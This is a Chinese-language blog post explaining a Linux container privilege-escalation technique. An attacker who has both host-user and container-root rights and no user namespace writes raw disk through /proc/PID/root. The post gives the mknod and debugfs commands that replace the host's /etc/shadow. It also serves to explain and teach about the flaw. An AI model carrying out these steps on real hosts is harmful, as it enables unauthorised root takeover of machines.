今天读到一篇有意思的博客[1],讲的是在同时拥有“宿主机上普通用户(如rambo)权限”和“容器内root权限”的场景下,如何在宿主机上提权到root权限。前提是容器没有user namespace。

这的确是很有意思的一件事:

  1. rambo用户没有CAP_MKNOD权限,但是并不被device cgroup策略禁止,综合起来,他不能通过mknod去创建设备读写底层硬盘;
  2. 容器内root用户具有CAP_MKNOD权限,但是被device cgroup策略禁止,综合起来,即使他mknod,也无法读写底层硬盘。

但是,如果攻击者同时拥有以上两个角色,他的能力就足够去读写底层硬盘,从而实现宿主机上权限提升,步骤如下:

在容器内通过向/etc/passwd内写入rambo的一项来添加rambo用户,具体内容可参考宿主机上/etc/passwd内的条目;

找到宿主机硬盘的主从设备号:

ls -al /sys/dev/block/ | grep sda1

在容器内以root权限mknod

mknod /dev/sda -m 777 b 8 1

在容器内以rambo用户身份启动一个进程,如/bin/sh

su rambo
/bin/sh

在宿主机上找到第4步中进程的PID,然后使用debugfs对其/proc/PID/root/dev/sda进行操作:

PID=$(ps aux | grep /bin/sh | grep -v grep | awk '{print $2}')
cat << EOF > /tmp/debugfs_file
cd /etc
write new_shadow shadow
EOF
debugfs -w -f /tmp/debugfs_file /proc/$PID/root/dev/sda

上述操作使宿主机上rambo用户用自制的new_shadow文件替换了宿主机上的/etc/shadow文件,从而实现提权。当然了,既然对底层硬盘拥有任意读写权限,提权的方式就非常多了。

总结一下,帮助攻击者把容器内容器外两种权限联合起来的关键是/proc/PID/root/。在缺少user namespace的情况下,通过在容器内的/etc/passwd创建rambo用户项,并以rambo身份并启动进程,容器外的rambo将对容器内rambo用户进程的procfs项具有完全权限。

再往深处走,整个问题的根源是Linux命名空间机制的一个看似无辜的特性:

Linux命名空间以这种方式组织,父命名空间可以看到子命名空间的内容,反之则不行。

虽然有这条规则,但系统的权限机制还是生效的。父命名空间内的一个进程对子命名空间内的一个进程及其相关的文件有何权限呢?视情况而定。如果前者进程的UID是用户A,后者是用户B,根据权限机制,A对B及B相关文件的权限通常是很小的。这也是前面要确保user namespace未开启,且要在容器内以rambo用户运行一个进程的原因。

这个场景看似条件苛刻,但一旦碰上了,上述方法还是很好用的。

参考文献:

  1. https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot